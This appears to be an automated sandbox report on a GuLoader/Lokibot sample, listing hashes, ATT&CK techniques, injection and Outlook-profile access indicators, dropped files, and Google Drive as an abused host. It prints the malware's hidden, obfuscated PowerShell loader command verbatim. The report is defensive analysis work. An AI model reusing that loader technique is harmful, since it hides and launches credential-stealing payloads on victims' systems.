guloader | ad2b8c6d46879d5c83c2a89020cf39f29f7344532b26e1ea8c91cbeb7fb3440c

General

Target

tmp8t7z73tn.exe
Size

467KB
MD5

4015f00ef3731b6caa8862aacc178f2e
SHA1

a95f1a8fef002703f6c303121c36269485cccc50
SHA256

ad2b8c6d46879d5c83c2a89020cf39f29f7344532b26e1ea8c91cbeb7fb3440c
SHA512

3f55db58dadcb4b5d46da5a515d0f37ebb6ef328f6fdd1bbcd54b922dd1ba19c110dc951cbb91a4c529a4c79f48cdcc26a40c6475de634ee42356bc1b33cbd75
SSDEEP

6144:nNoShfU3osnA2UnjCD5JnYR/Z13P4FgsLJNFRzEBsT8CCv74:naqgowbYCDUR/TP4VVNEBsLks

Score

10^/10

guloader lokibot collection downloader execution spyware stealer trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2296	powershell.exe

Loads dropped DLL 3 IoCs

pid	Process
824	tmp8t7z73tn.exe
824	tmp8t7z73tn.exe
824	tmp8t7z73tn.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	drive.google.com
5	drive.google.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\energetiskes\Physicianer223.lnk	tmp8t7z73tn.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2452	wab.exe
2452	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2296	powershell.exe
2452	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2296 set thread context of 2452	2296	powershell.exe	31

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\eduard.lyz	tmp8t7z73tn.exe
File opened for modification	C:\Program Files (x86)\Common Files\yeastless.Rus	tmp8t7z73tn.exe
File opened for modification	C:\Program Files (x86)\Common Files\Marrowless\Mutated.ini	tmp8t7z73tn.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\schematizers.roa	tmp8t7z73tn.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2296	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2452	wab.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 824 wrote to memory of 2296	824	tmp8t7z73tn.exe	28
PID 824 wrote to memory of 2296	824	tmp8t7z73tn.exe	28
PID 824 wrote to memory of 2296	824	tmp8t7z73tn.exe	28
PID 824 wrote to memory of 2296	824	tmp8t7z73tn.exe	28
PID 2296 wrote to memory of 2452	2296	powershell.exe	31
PID 2296 wrote to memory of 2452	2296	powershell.exe	31
PID 2296 wrote to memory of 2452	2296	powershell.exe	31
PID 2296 wrote to memory of 2452	2296	powershell.exe	31
PID 2296 wrote to memory of 2452	2296	powershell.exe	31
PID 2296 wrote to memory of 2452	2296	powershell.exe	31

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe

C:\Users\Admin\AppData\Local\Temp\tmp8t7z73tn.exe
"C:\Users\Admin\AppData\Local\Temp\tmp8t7z73tn.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Obstacle=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Sideopdelingens\Vegatabilsk.syn';$Sfaeriske=$Obstacle.SubString(46988,3);.$Sfaeriske($Obstacle)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Sideopdelingens\Custodianship.Afs131

Filesize
312KB

MD5
8a85675082c1fc5b96ff357e78ff3f8b

SHA1
71d9c42ad272931a584d1504fd1f93f2207700f0

SHA256
2cefd72b841fdcaad943ac8eefa45157c15b6eec52143bf9bc68f5a5205697f5

SHA512
f8e149f65094f31f1cda2078277f70b764be54024652178d43b2a7a87d15720eb456e63dcf5479c82232af19d279d0eb0937539fc6ae99c9bc07306416479012

Download Submit
C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Sideopdelingens\Vegatabilsk.syn

Filesize
68KB

MD5
4ffe39f395fe73cda9c98bbc6e6eceeb

SHA1
9510d3fc5cb1e6a57901c2124ba4eb9ef5b272a7

SHA256
725ac3fadad2902293e8b74527f2a8e225770412ad0e9faccf949bb1fe7fff02

SHA512
3bc6388386f2081e14f5dcbe6ed40a21d176c648eb5eb48bcd024b34e7d311dde6004335447c902ce56c2ff773b43efdf5d6af17d9b30e2b45ee38e0cfcd0cbe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3627615824-4061627003-3019543961-1000\0f5007522459c86e95ffcc62f32308f1_12cce00e-511f-47e5-8588-7df67886da42

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3627615824-4061627003-3019543961-1000\0f5007522459c86e95ffcc62f32308f1_12cce00e-511f-47e5-8588-7df67886da42

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
\Users\Admin\AppData\Local\Temp\nsdD5A.tmp\Banner.dll

Filesize
4KB

MD5
843657eaf7240b695624dcf38bb0eb31

SHA1
ca99a44e737fdeaab56f864ce1ef15a57d2eec90

SHA256
b935d14c32ad8e16055f7f5794ac3411e601c5ac93155afc623f25b08e2ab82e

SHA512
7773d9f6bbd17253d1c96ce225b2f9d3673969b38177afef236d1c5d4aabaae2c07793e07c34f0281ec3b859ae955e83bfe43a598ce7cc6c893ec8c9604f5de3

Download Submit
\Users\Admin\AppData\Local\Temp\nsdD5A.tmp\BgImage.dll

Filesize
7KB

MD5
a98576f0d6b35b466cb881860977fdbc

SHA1
28b3dbbd76f15c876b98dce523100aa3256d193a

SHA256
6cc4aadae46ee3e7f39b411ba087ec29bc10aa62b6b5b44003c934b3c51cefe2

SHA512
29225bfb30e72d7d3d3571e7562b5901dbf2382af1972cc9a2be8e3bef697b9ac9e0aaac3a9bca191da827ad3cfce7f6876e8be9444663e83a7e2e86788a733c

Download Submit
\Users\Admin\AppData\Local\Temp\nsdD5A.tmp\nsDialogs.dll

Filesize
9KB

MD5
2c84faebfda2abe3b16fdf374df4272f

SHA1
a5b0258a94e0440aefe1ef320e62e7a9a1c8bb40

SHA256
72b38e4cca0af336655d55501c4ea05080baaa9921a62a2d717afe90bb801004

SHA512
207164cc6914c59d9f4f3b8ae97628c544093ba6ecda9f8da351f453cd97e03be7a640264b8686b2d5e6f3c787f4df1d8a1ebc8e51fd788a97460cd981cc015e

Download Submit
memory/2296-31-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2296-28-0x0000000073CB1000-0x0000000073CB2000-memory.dmp

Filesize
4KB

Download
memory/2296-36-0x00000000066D0000-0x000000000921C000-memory.dmp

Filesize
43.3MB

Download
memory/2296-37-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2296-32-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2296-30-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2296-29-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2452-77-0x0000000000760000-0x00000000032AC000-memory.dmp

Filesize
43.3MB

Download

Analysis

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